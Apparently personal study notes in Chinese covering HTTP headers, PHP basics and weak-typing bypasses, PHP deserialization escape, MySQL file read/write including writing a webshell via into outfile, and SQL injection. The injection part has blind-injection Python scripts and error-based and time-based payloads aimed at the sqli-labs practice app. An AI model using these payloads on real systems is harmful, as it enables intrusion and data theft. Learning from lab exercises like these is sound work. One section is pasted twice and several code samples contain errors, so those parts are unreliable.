http头部基础

http头部

抓包后每一项解析

  1. Accept:告诉 WEB 服务器自己接受什么介质类型,*/* 表示任何类型,type/* 表示该类型下的所有子类型,type/sub-type。
  2. Accept-Charset: 浏览器申明自己接收的字符集
    Accept-Encoding: 浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩, 支持什么压缩方法(gzip,deflate)
    Accept-Language::浏览器申明自己接收的语言
    语言跟字符集的区别:中文是语言,中文有多种字符集,比如 big5,gb2312,gbk 等等。
  3. Accept-Ranges:WEB 服务器表明自己是否接受获取其某个实体的一部分(比如文件的一部分)的请求。bytes:表示接受,none:表示不接受。
  4. Age:当代理服务器用自己缓存的实体去响应请求时,用该头部表明该实体从产生到现在经过多长时间了。
  5. Authorization:当客户端接收到来自 WEB 服务器的 WWW-Authenticate 响应时,用该头部来回应自己的身份验证信息给 WEB 服务器。
  6. Cache-Control:请求:no-cache(不要缓存的实体,要求现在从WEB 服务器去取)
                                   max-age:(只接受 Age 值小于 max-age 值,并且没有过期的对象)
                                   max-stale:(可以接受过去的对象,但是过期时间必须小于 max-stale 值)
                                   min-fresh:(接受其新鲜生命期大于其当前 Age 跟 min-fresh 值之和的缓存对象) 响应:public(可以用 Cached 内容回应任何用户)
                                   private(只能用缓存内容回应先前请求该内容的那个用户)
                                   no-cache(可以缓存,但是只有在跟 WEB 服务器验证了其有效后,才能返回给客户端)
                                   max-age:(本响应包含的对象的过期时间) ALL: no-store(不允许缓存)
    
  7. Connection:请求:close(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,断开连接,不要等待本次连接的后续请求了)。
                                 keepalive(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求)。
                        响应:close(连接已经关闭)。
                                  keepalive(连接保持着,在等待本次连接的后续请求)。
                                  Keep-Alive:如果浏览器请求保持连接,则该头部表明希望 WEB 服务器保持连接多长时间
                                  秒)。例如:Keep-Alive:300
    
  8. Content-Encoding:WEB 服务器表明自己使用了什么压缩方法(gzip,deflate)压缩响应中的对象。例如:Content-Encoding:gzip
  9. Content-Language:WEB 服务器告诉浏览器自己响应的对象的语言。
  10. Content-Length: WEB 服务器告诉浏览器自己响应的对象的长度。例如:Content-Length: 26012
  11. Content-Range: WEB 服务器表明该响应包含的部分对象为整个对象的哪个部分。例如:
    Content-Range: bytes 21010-47021/47022
  12. Content-Type: WEB 服务器告诉浏览器自己响应的对象的类型。例如:Content-Type:application/xml
  13. ETag:就是一个对象(比如 URL)的标志值,就一个对象而言,比如一个 html 文件, 如果被修改了,其 Etag 也会别修改,所以 ETag的作用跟 Last-Modified的作用差不多,主要供 WEB 服务器判断一个对象是否改变了。比如前一次请求某个 html 文件时,获得了其
            ETag,当这次又请求这个文件时,浏览器就会把先前获得的 ETag 值发送给 WEB 服务器, 然后 WEB 服务器会把这个 ETag 跟该文件的当前 ETag 进行对比,然后就知道这个文件有没有改变了。
    
  14. Expired:WEB 服务器表明该实体将在什么时候过期,对于过期了的对象,只有在跟
                WEB服务器验证了其有效性后,才能用来响应客户请求。是HTTP/1.0的头部。例如:Expires:Sat, 23 May 2009 10:02:12 GMT
    
  15. Host:客户端指定自己想访问的 WEB 服务器的域名/IP 地址和端口号。例如:Host:rss.sina.com.cn
  16. If-Match:如果对象的 ETag 没有改变,其实也就意味著对象没有改变,才执行请求的动作。
  17. If-None-Match:如果对象的 ETag 改变了,其实也就意味著对象也改变了,才执行请求的动作。
  18. If-Modified-Since:如果请求的对象在该头部指定的时间之后修改了,才执行请求的动作( 比如返回对象), 否则返回代码 304 , 告诉浏览器 该对象没有修改。例如: If-Modified-Since:Thu, 10 Apr 2008 09:14:42 GMT
  19. If-Unmodified-Since:如果请求的对象在该头部指定的时间之后没修改过,才执行请求的动作(比如返回对象)。
  20. If-Range:浏览器告诉 WEB 服务器,如果我请求的对象没有改变,就把我缺少的部分给我,如果对象改变了,就把整个对象给我。浏览器通过发送请求对象的 ETag 或者 自己所知道的最后修改时间给 WEB 服务器,让其判断对象是否改变了。总是跟 Range 头部一起使用。
  21. Last-Modified:WEB 服务器认为对象的最后修改时间,比如文件的最后修改时间,动态页面的最后产生时间等等。例如:Last-Modified:Tue, 06 May 2008 02:42:43 GMT
  22. Location:WEB 服务器告诉浏览器,试图访问的对象已经被移到别的位置了,到该头部 指 定 的 位 置 去 取 。 例 如 : Location : http://i0.sinaimg.cn/dy/deco/2008/0528/sinahome_0803_ws_005_text_0.gif
  23. Pramga:主要使用 Pramga: no-cache,相当于 Cache-Control: no-cache。例如:Pragma: no-cache
  24. Proxy-Authenticate: 代理服务器响应浏览器, 要求其提供代理身份验证信息。
    Proxy-Authorization:浏览器响应代理服务器的身份验证请求,提供自己的身份信息。
  25. Range:浏览器(比如 Flashget 多线程下载时)告诉 WEB 服务器自己想取对象的哪部分。例如:Range: bytes=1173546-
  26. Referer:浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得/点击 当前请求中的网址/URL。例如:Referer:http://www.sina.com/
  27. Server: WEB 服务器表明自己是什么软件及版本等信息。例如:Server:Apache/2.0.61 (Unix)
  28. User-Agent: 浏览器表明自己的身份(是哪种浏览器)。例如:User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.1.14) Gecko/20080404 Firefox/2、0、0、14
  29. Transfer-Encoding: WEB 服务器表明自己对本响应消息体(不是消息体里面的对象)作了怎样的编码,比如是否分块(chunked)。例如:Transfer-Encoding: chunked
  30. Vary: WEB 服务器用该头部的内容告诉 Cache 服务器,在什么条件下才能用本响应所返回的对象响应后续的请求。假如源 WEB 服务器在接到第一个请求消息时,其响应消息的头部为:Content- Encoding: gzip; Vary:Content-Encoding 那么 Cache 服务器会分析后续请求消
          息的头部,检查其 Accept-Encoding,是否跟先前响应的 Vary 头部值一致,即是否使用相同的内容编码方法,这样就可以防止 Cache 服务器用自己 Cache 里面压缩后的实体响应给不具备解压能力的浏览器。例如:Vary:Accept-Encoding
    
  31. Via: 列出从客户端到 OCS 或者相反方向的响应经过了哪些代理服务器,他们用什么协议(和版本)发送的请求。当客户端请求到达第一个代理服务器时,该服务器会在自己发出的请求里面添 加 Via 头部,并填上自己的相关信息,当下一个代理服务器收到第一个代理服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求的 Via 头部,并把自己的相关信息加到后面,以此类推,当 OCS 收到最后一个代理服务器的请求时,检查
          Via 头部, 就知道该请求所经过的路由。例如: Via: 1.0 236.D0707195.sina.com.cn:80 (squid/2.6.STABLE13)
    

什么是cookie

Cookie是由服务器端生成,发送给User-Agent(一般是浏览器),(服务器告诉浏览器设置一下cookie),浏览器自动会将Cookie以key/value保存到某个目录下的文本文件内,下次请求同一网站时也会自动发送该Cookie给服务器,即添加在请求
头部(前提是浏览器设置为启用cookie)。Cookie就是一个小型文件(浏览器对cookie的内存大小是有限制的——用来记录一些信息)

Cookie的特点

具有保质期

即有永久的也含有临时的,每个浏览器都含有自己的cookie,每次请求的时候,都会根据domain来发送相应的cookie,可通过设置expires、max-age来设定保存日期,不设置的话默认是临时存储,即关闭浏览器就消失。

满足同源策略

虽然网站images.google.com与网站www.google.com同属于Google,但是域名不一样,二者同样不能互相操作彼此的Cookie。而且path也必须一样才能相互访问彼此的cookie,需要注意不同浏览器对path访问规定不一样,对于chrome,path必须为当前目录,设置为其他目录无效,只能
当前页面只能访问当前目录及其以上的cookie

sql1

php反序列化逃逸

反序列化逃逸

关键词增多的逃逸

1
2
3
4
5
6
7
8
<?php

$_SESSION['user']='get';
$_SESSION['function']='fun';

echo serialize($_SESSION);

?>

此时输出的会是$_SESSION序列化的值

1
a:2:{s:4:"user";s:3:"get";s:8:"function";s:3:"fun";} 

此时我想更改function的值,我们可以增加关键词数

1
_SESSION['user']=get";s:8:"function";s:4:"funs";}

此时输出的是

1
a:2:{s:4:"user";s:32:"get";s:8:"function";s:4:"funs";}";s:8:"function";s:3:"fun";} 

在反序列化中以分号作为分隔,以}作为结束,因此逃逸出了”;s:8:”function”;s:3:”fun”;},这逃逸出来的部分会被忽视掉
此时function值就发生了改变

关键词减少的逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php


function fittle($img){
$array=array('user','flag');
$iop='/'.implode("|",$array).'/i';
return preg_repalce($iop,"",$img);
}

$_SESSION['user']='get';
$_SESSION['function']=fun;

echo fittle(serialize($_SESSION));

?>

如果?f=fun,此时输出的是:

1
a:2:{s:4:"";s:3:"get";s:8:"function";s:3:"fun";} 

此时我们看到user被过滤掉了,而字符串数仍然为4,不变,所以容易造成逃逸

我们可以构造多个user来逃逸

1
2
_SESSION['user']=useruseruser";s:3:"get";s:8:"function";s:3:"funs";s:3:"abb";}

此时得出的结果为:

1
a:2:{s:4:"user";s:61:"useruseruser";s:3:"get";s:8:"function";s:3:"funs";s:3:"abb";}";s:8:"function";s:3:"fun";} 

可见”;s:8:”function”;s:3:”fun”;} 这部分逃逸出来,被忽视掉,function值发生改变

php基础

PHP语法

PHP脚本以结束

1
2
3
<?php
echo "hello"
?>

PHP变量

变量格式

变量名前加$,且变量名区分大小写

局部和全局变量

  1. 全局变量:除了在函数外,可以被脚本中任何部分访问的变量
  2. 局部变量:在PHP函数中
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
     <?php
    $x=5; // 全局变量

    function myTest()
    {
    $y=10; // 局部变量
    echo "<p>测试函数内变量:<p>";
    echo "变量 x 为: $x";
    echo "<br>";
    echo "变量 y 为: $y";
    }

    myTest();

    echo "<p>测试函数外变量:<p>";
    echo "变量 x 为: $x";
    echo "<br>";
    echo "变量 y 为: $y";
    ?>

    PHP变量作用域

    1
    2
    3
    4
    local
    global
    static
    parameter

    global

  3. 用于函数内访问全局变量
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php
    $x=1;
    $y=2

    function myTest()
    {
    glocal $x,$y;
    $y=$x+$y;
    }
    myTest();
    echo $y;
    ?>
  4. 也可用$GLOCAL[index]的形式,可以在函数内部访问
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php
    $x;
    $y;

    function myTest()
    {
    $GLOBAL['y']=$GLOBAL['x']+$GLOBAL['y'];
    }

    myTest();
    echo $y;
    ?>

    static

    一个函数完成时,确保函数内的局部变量会保留下来
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php
    function myTest()
    {
    static $x=0;
    echo $x;
    $x++;
    echo PHP_EOL; //换行符
    }

    myTest();
    myTest();
    myTest();
    ?>

local

局部变量只能作用在函数内

参数作用域

PHP中函数都有自己的作用域,如果在函数中没有声明之前,局部变量的优先级大于全局变量,声明之后,全局变量变为局部变量,如果
此时局部变量修改,则全局变量也随之修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$a = 10;
$b = 5;
function test()
{
$a = 15;
$b = 5;
$z = $a-$b;
echo $z;
}

test();

function test1()
{
global $a,$b;
$a = 15;
$b = 5;
$z = $a-$b;
echo PHP_EOL;
echo $z;
}

test1();

function test2()
{
global $a,$b;
$z= $a-$b;
echo PHP_EOL;
echo $z;
}

test2();
?>

EOF的使用

  1. 以<<<EOF开始标志开始,以EOF结束标志结束
    1
    2
    3
    4
    5
    6
    7
    <?php
    echo <<<EOF
    <h1>我的第一个标题</h1>
    <p>我的第一个段落。</p>
    EOF;
    // 结束需要独立一行且前后不能空格
    ?>
  2. PHP定界符EOF就是按照原样,包括换行格式什么的,输出在其内部的东西,而且其中的任何特殊字符都不会被转义
    但双引号内的内容会有转义的效果
    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    $name="变量会被解析";
    $a=<<<EOF
    $name<br><a>html格式会被解析</a><br/>双引号和Html格式外的其他内容都不会被解析
    "双引号外所有被排列好的格式都会被保留"
    "但是双引号内会保留转义符的转义效果,比如table:\t和换行:\n下一行"
    EOF;
    echo $a;
    ?>

php弱类型及strcmp()函数漏洞及is_numeric()函数漏洞

php弱类型

当一个字符串被当作是一个数值进行比较时,如果字符串中不含有“.”、”e“、”E“、”x“,而且数值在整型的范围内的,则这个字符串以int方式取值,且取最前面的字符前的数字,如果最前面的字符前没有数字,则返回为0。其它情况都以float的形式取值

1
2
3
4
5
<?php

var_dump("admin1"==0);
var_dump("1admin"==1);
?>

如果字符串里有e或E,则被当作科学计数法

1
2
3
4
5
<?php

var_dump("1e2"=="100");
var_dump("1E2"=="100");
?>

如果字符串里有x,则被当作为16进制数

1
2
3
<?php
var_dump("0x01"=="1");
?>

如果字符串里有.,则字符串以float的方式输出

1
2
3
<?php
var_dump("0.01"==0.01);
?>

is_numeric()函数

is_numeric()函数是判断是否是数值或纯数值的字符串,是返回1,不是返回0

1
2
3
4
<?php
var_dump(is_numeric("400"));
var_dump(is_numeric(400));
?>

is_numeric()函数的漏洞:在输入的数值后加%00或%20,就可以绕过,而%20只适用于纯数字字符串,且要放在后面

1
2
3
4
5
6
7
<?php
var_dump(is_numeric("400%00"));
var_dump(is_numeric(400%20));
var_dump(is_numeric("400%20"));
var_dump(is_numeric(400%00));

?>

strcmp()函数

strcmp()函数用来作为字符串的比较:

两个字符串相等,返回0

str1<str2,返回<0的数

str1>str2,返回>0的数

strcmp()函数的漏洞:# php弱类型

当一个字符串被当作是一个数值进行比较时,如果字符串中不含有“.”、”e“、”E“、”x“,而且数值在整型的范围内的,则这个字符串以int方式取值,且取最前面的字符前的数字,如果最前面的字符前没有数字,则返回为0。其它情况都以float的形式取值

1
2
3
4
5
<?php

var_dump("admin1"==0);
var_dump("1admin"==1);
?>

如果字符串里有e或E,则被当作科学计数法

1
2
3
4
5
<?php

var_dump("1e2"=="100");
var_dump("1E2"=="100");
?>

如果字符串里有x,则被当作为16进制数

1
2
3
<?php
var_dump("0x01"=="1");
?>

如果字符串里有.,则字符串以float的方式输出

1
2
3
<?php
var_dump("0.01"==0.01);
?>

is_numeric()函数

is_numeric()函数是判断是否是数值或纯数值的字符串,是返回1,不是返回0

1
2
3
4
<?php
var_dump(is_numeric("400"));
var_dump(is_numeric(400));
?>

is_numeric()函数的漏洞:在输入的数值后加%00或%20,就可以绕过,而%20只适用于纯数字字符串,且要放在后面

1
2
3
4
5
6
7
<?php
var_dump(is_numeric("400%00"));
var_dump(is_numeric(400%20));
var_dump(is_numeric("400%20"));
var_dump(is_numeric(400%00));

?>

strcmp()函数

strcmp()函数用来作为字符串的比较:

两个字符串相等,返回0

str1<str2,返回<0的数

str1>str2,返回>0的数

strcmp()函数的漏洞:比较的两个不是字符串会报错,且会返回0,所以可以构造数组或object绕过(适用于php5版本)

1
2
3
4
5
6
<?php

echo strcmp($_GET['ret'],'wer');

?>
```比较的两个不是字符串会报错,且会返回0,所以可以构造数组或object绕过(适用于php5版本)

```

sql增删改函数

在数据库中增加一段数据

insert语句

  1. 在标准的sql语句中,一次插入一条记录的insert语句的一种形式
    insert into tablename(列名…) values(列值…);
    这种方法将列表和列值分开了,使用时列表和列值的数必须一致,如下面向user表中插入一段数据
    insert into user(id,name,age) value(123,’绕’,19);
  2. 在mysql中还有另一种形式
    insert into user set column_name1=value1,column_name2=value2,….;
    这种方法允许将列表和列值成对的出现和使用,如:
    insert into user set id=123,name=’绕’,age=18;
  3. 前面两种方法的不同点:
    (1)第一种方法如果value中什么都不写,则表示mysql将使用表中的每一列的默认值插入新纪录,如:
                                                   insert into user() value()
    如果表名后面什么都不写,即表示向表中所有字段赋值,此时不仅在values中的值与列数一
    致,且顺序不能颠倒。如:
                                                     列数为3列
                                                      insert into user value(123,'绕');错
                                                      insert into user value(123,'绕',19);对
    
    (2)第二种方法使用了set方式,必须至少为一列赋值。如果一个字段使用了省缺值(如默认或自增值)
    ,这两种方法都可以省略这些字段。如:
                                                       id字段使用了自增值
                                                       insert into user(name,age) value(ni,19);
                                                       insert into user set name=ni,age=19;
    

删除函数

删数据

  1. delete from 表名;
  2. 有条件的删除数据:delete from 表名 where id=1;

删除结构

  1. 删数据库:drop database 数据库名
  2. 删除表:drop table 表名
  3. 删除表中的列:alter table 表名 drop column 列名
    如:delete from user where id=16

修改函数

  1. 修改所有:updata 表名 set 列名=’新的值,非数字加单引号’
  2. 带条件的修改:updata 表名 set 列名=’新的值,非数字加单引号’
    如:updata user set username=’tt’ where id=15

函数

addslashes()

  1. addslashes()函数返回在预定义字符之前添加反斜杠的字符串
    预定字符:
               单引号(')
               双引号(")
               反斜杠(\)
               NULL
    
  2. 该函数用于为存储在数据中的字符串以及数据库查询语句准备字符串
  3. 默认地,php对所有get和post和cookie数据进行自动查询addslashes()。所以你不要对已转义的字符串再用addslashes(),这会造成双层转义。可以用get_magic_quotes_gpc()来检测
  4. 语法:addslashes(string) string为要转义的字符串

stripslashes()

函数删除由addslashes()函数添加的反斜杠

mysql_real_escape_string()

  1. 函数转义sql语句中使用字符串中的特殊字符
         特殊字符:
                       \x00
                       \n
                       \r
                       \
                       '
                       "
                       \x1a
    
  2. 语法:mysql_real_escape_string(string,connection)
          string为转义字符串
          connection 可选。规定mysql连接,未规定,则用上一个连接
    

ctype_digit()

检查字符串里的字符是不是数字,是返回ture,不是返回false

get_magic_quotes_gpc()

  1. magic_quotes_gpc=on时,函数magic_quotes_gpc()返回1
    magic-quotes_gpc=off时,函数magic_quotes_gpc()返回0
  2. get_magic-quotes-gpc就是得到环境变量magic_quotes_gpc的值

intval()

用于获取变量的整数值

mysql_fetch_array

从结果中取出一行作为关联数组

php数据类型

PHP数据类型

String(字符串)
lnteger(整型)
Float(浮点型)
Boolean(布尔型)
array(数组型)
Object(对象)
NUll(空值)

字符串型(string)

可以将字符串放在单引号和双引号中

1
2
3
4
5
6
7
<?php 
$x = "Hello world!";
echo $x;
echo "<br>";
$x = 'Hello world!';
echo $x;
?>

PHP 整型

  1. 整型可以用三种格式表示:十进制、十六进制和八进制
  2. var_dump()函数返回变量的数据类型和值,如果变量不存在,则输出NULL
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php 
    $x = 5985;
    var_dump($x);
    echo "<br>";
    $x = -345; // 负数
    var_dump($x);
    echo "<br>";
    $x = 0x8C; // 十六进制数
    var_dump($x);
    echo "<br>";
    $x = 047; // 八进制数
    var_dump($x);
    ?>

PHP浮点型

浮点数就是带小数部分的数字,或是指数形式

1
2
3
4
5
6
7
8
9
10
<?php 
$x = 10.365;
var_dump($x);
echo "<br>";
$x = 2.4e3;
var_dump($x);
echo "<br>";
$x = 8E-5;
var_dump($x);
?>

PHP布尔型

布尔型可以是TURE或FALSE

1
2
$x=ture;
$y=false;

PHP数组

数组可以在一个变量中存储多个值

1
2
3
4
<?php 
$cars=array("Volvo","BMW","Toyota");
var_dump($cars);
?>

PHP对象

  1. 对象数据类型也可以用于存储数据
  2. 注意点:(1)必须使用class关键字声明类对象,类是可以包含属性和方法的结构
             (2)在类中定义数据类型,然后在实例化的类中使用数据类型
    
  3. 下例的this是指向当前对象实例的指针,不指向任何其他对象或类
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    <?php
    class Car
    {
    var $color;
    function __construct($color="green") {
    $this->color = $color;
    }
    function what_color() {
    return $this->color;
    }
    }

    function print_vars($obj) {
    foreach (get_object_vars($obj) as $prop => $val) {
    echo "\t$prop = $val\n";
    }
    }

    // 实例一个对象
    $herbie = new Car("white");

    // 显示 herbie 属性
    echo "\therbie: Properties\n";
    print_vars($herbie);

    ?>

PHP NULL值

NULL值表示变量没有值,NULL是数据类型为NULL的值

1
2
3
4
5
<?php
$x="Hello world!";
$x=null;
var_dump($x);
?>

sql导入导出文件

导出文件的常用函数

load_file(file_name)

  1. 读取文件并返回文件内容作为一个字符串
  2. 读取文件条件:
    (1)必须有权读取且文件必须完全可读
    (2)欲读取文件必须在服务器上
    (3)必须指定文件完整路径
    (4)欲读取文件必须小于max_allowed_packet(最大允许传输包)
  3. 判断读取文件是否有权限
    and (select count() from mysql.user>/0)
    (1)若返回正确,则文件有权可读
    (2)若返回错误,则需要管理员给数据库账户降权
    注意:如果NTFS设置得当,是没有权限读取文件的,当遇到administrators才能访问的文件,使用者就别想load_file出来
  4. load_file()里的文件路径可以是ascii码或十六进制,也可以是路径形式(路径里的/用\代替)

replace()

  1. 替换字符
  2. 格式:replace(原字段,”原字段旧内容”,”原字段新内容”)

hex()

  1. 将文件导出来,将load_file()读取的二进制文件转换为十六进制

实际注入中的难点

  1. 绝对物理路径
  2. 构造有效地畸形语句(报错爆出绝对路径)
  3. 在许多php程序中,只要提交一个疑问进去,如果dispaly_errors=on的话,就会爆出web程序绝对的路径

导入数据库的常用函数

load data infile()

  1. 在一个文本文件中读取行,并装入一个表中,文件名称必须是文字字符串
  2. 如:load data infile’/tml/t0.txt’ignore into t0 character set gbk fields teminated by lines terminated by’\n’
    character set gbk是字符集设置为gbk,fields teminated by 为每一项数据之间的分隔符,lines terminated by’\n’是行 的结尾符
  3. 判断方式:错误代码是2的时候,文件不存在,错误代码为13的时候为没有权限,可以考虑/tmp等文件夹

导入到文件函数

select….into outfile’file_name’

  1. 可以把选择的行写入一个文件中,文件在服务器主机中创建,但必须拥有file权限,才能用这一语法,但file_name不能是一 个已经存在的文件
  2. 两种利用方式:
    (1)直接将select内容导入到文件中
    如:select version() into outfile”c:\phpnow\htdocs\test.php”,version()可以换成一句话代码
    (2)修改文件结尾
    如: select version() into outfile”c:\phpnow\htdocs\test.php”lines terminated by 0x16进制文件
  3. secure_file_pri参数会限制load_file(),select…into outfile””,load data infile等函数,有三种情况:
    (1)secure_file-pri=null时表示限制mysql,不准导入导出文件(mysql中的默认值)
    (2)secure_file_pri=目录时限制mysql导出导入文件只发生在这个目录下
    (3)secure_file_pri=没有具体值时,不限制mysql导出导入文件
  4. 如果secure_file_pri=null(默认值),则只要改成secure_file_pri=”/“,然后重启mysql就可以了

sql布尔盲注

布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import string

url=" "

normalHtmlLen=len(request.get(url=url+"?id=1").text) #计算返回报文长度

print("The len of HTML:"+str(normalHtmlLen))

dbNameLen=0

while true:
dbNameLen_url=url+"?id=1'+and+length(database())="+str(baNameLen)+"--+"

print(dbNameLen_url)

if len(requests.get(dbNameLen_url).text)==normalHtmlLen
print("The len of dbName:"+str(dbNameLen))
break

if dbNameLen==30
print(error)
break

dbNameLen+=1


dbName=" "

for i in range(1,9): #从1到8循环
for a string.acsii_lowercase: #从a到z循环

dbName_url=url+"?id=1'+and+substr(database(),"+str(i)+",1)='"+a+"'--+"
print(dbName_url)
if len(requests.get(dbName_url).text)==normalHtmlLen
dbName+=a
print(dbName)
break

sql延时注入

延时注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import string

url=" "

def timeOut(url): #定义一个timeOut的函数

try:

res=request.get(url,timeout=3)
rest.text
except Exception as e:
return "timeout"

dbNameLen=0
while true:
dbNameLen+=1
dbNameLen_url=url+"?id=1'+and+if(length(database())="+str(dbNameLen)+",sleep(5),1)--+"

if "timeout" in timeOut(dbNameLen_url):
print("The len of dbNmae:"+str(dbNameLen))
break

if dbNameLen==30:
print("error")
break

dbName=" "
for i in range(1,dbNameLen+1):
for char in string.acsii_lowercase:
dbName_url=url+"?id=1'+and+if(substr(database(),"+str(i)+",1)='"+char+"',sleep(5),1)--+"
if "timeout" in timeOut(dbName_url):
dbName+=char
print("The dbName:"+dbName)
break

sql盲注

SQL注入的基础

1.当在浏览器输入id值时,sql的语句会变成select …..from users where id=……LIMIT0,1
例:
http://127.0.0.1/sqli-labs/Less-1/?id=1会自动转化为select ….from users where id=’1’ LIMIT0,1
注意:(1)–+或#起注释作用,会将后面的所有语句删除掉
(2)union的作用连接sql语句,若前一条语句为空,则显示后面语句,反之,则
示前面一条语句
(3)注入类型:id=’$id‘ id=$id id=(‘$id’) id=(“$id”)……
闭合中的数字后面跟与类型无关的字符,将默认转换为前面的数字

sql布尔盲注

基本使用函数

  1. Mid()函数
    此函数为截取字符串一部分,使用形式:Mid(column_name,start[,length])
  2. substr()函数
    Substr()和substring()函数实现的功能是一样的,均为截取字符串。使用形式如下:
    string substring(string, start, length)
    string substr(string, start, length)
    注意:参数描述同mid()函数,string为第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
  3. Left()函数
    Left()得到字符串左部指定个数的字符,使用形式:Left ( string, n )
    string为要截取的字符串,n为长度
  4. ORD()函数,此函数为返回的第一个字符串的ascii码
    如:ORD(MID(DATABASE(),1,1))>114意为检测database()第一位ascii码
    否大于114,也即是“r”
  5. ascii()函数
    将某个字符转换为ascii码,与ORD函数相似
  6. regexp 正则注入
    正则注入介绍:http://www.cnblogs.com/lcamry/articles/5717442.html
    用法介绍:select user() regexp ‘^[a-z]’;
    Explain:正则表达式的用法,user()结果为 root,regexp 为匹配 root 的正则表达式。
    第二位可以用 select user() regexp ‘^ro’来进行。
  7. like匹配注入
    和regexp正则注入类似,mysql注入的时候我们可以用like进行匹配
    用法:select user() like ‘ro%’
  8. sleep()函数
    将程序挂起一段时间 ,n为n秒
  9. if()语句
    判断语句,如果第一个语句正确就执行第二个语句,如果错误就执行第三个语句
  10. length(string)
    字符串的长度,string为要处理的字符串
  11. database()是数据库,table()是数据表
  12. CAST(str AS 目标数据类型)
        将目标str转化为目标数据类型
    
  13. IFNULL(expr1,expr2)
        如果expr1不是null,IFNULL()返回expr1,否则它返回的是expr2,且0x20为空
    

做题思路

  1. 先爆数据库,如:
    ?id=1’and length(database()) –+ 看当前数据库的长度
    ?id=1’and left(database(),1) –+ 看当前数据库第一个首字母
  2. 再爆数据表,如:
    ?id=1’and ascii(substr((select table_name for information_schema.tables where tables_schema=database() LIMIT 0,1),1,1))=(<或>)113 –+
    以此类推,得出所有表
  3. 再判断表中的列名是否有….列,如:
    ?Id=1’and 1=(select 1 from information_schema.columns where table_name=’users’and column_name regexp ‘^username’LIMIT 0,1) –+
  4. 看表中的列的内容,如;
    ?Id=1’and ORD(MID((select IFNULL(CAST(username AS CHAR),0x20)form security.users order by ip LIMIT 0,1),1,1))=68 –+
    _

基于报错的sql盲注

函数

1
2
3
4
5
6
7
Count----------------------用于计数
Floor----------------------取得0或1,进行数据的重复
Group by-------------------对相同数据进行分组(相同的一组)
Rand()---------------------一个随机函数,但使用一个固定的随机数种子0后,成为固定的伪随机序列
extractvalue(1,路径)-------------如果路径格式不正确,就会返回报错信息,如果此时输入恶意代码,则返回想要的数据
updatexml(1,路径,1)-----------------如果路径的格式不正确,就会返回报错信息,如果此时输入恶意代码,则返回想要的数据
exp()--------------如果里面的数据超过720,则会有溢出,并返回想要的信息

报错类型

  1. 平常报错注入
    ?id=1’union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,floor(rand(0)*2))a form information_schema.columns group by a–+
  2. 利用double数值类型超出范围进行报错注入
    ?Id=1’union select (exp(~(select * from(select user())a))),2,3 –+
  3. 利用bigint溢出进行报错注入
    ?Id=1’union select (!(select * from(select user())x) - ~0),2,3 –+
  4. xpath函数报错注入
    ?Id=1’and extractvalue(1,concat(0x7e,(select @@version),0x7e)) –+
    ?Id=1’and updatexml(1,concat(0x7e,(select @@verson),0x7e),1) –+
  5. 利用数据重复性报错注入
    ?Id=1’union select 1,2,3 from (select NAME CONST(version(),1),NAME CONST(version(),1))x –+

基于时间的sql盲注

函数

1
2
Sleep(N)-------------可以让语句运行N秒
Benchmark()-----------一个mysql的内置函数,主要用来测试一些函数执行速度,且带有两个参数,一个为执行次数,一个是执行函数或表达式

延时注入类型

  1. 利用sleep()函数进行注入
    ?Id=1’and if(ascii(substr(database(),1,1))=115,1,sleep(5)) –+
  2. 利用benchmark()进行延时注入
    ?Id=1’union select (if(subsring(current,1,1)=char(115),benchmark(50000,encode(‘MSG’,’by 5 seconds ’)),null)),2,3 from(select database() as current) as tb1 –+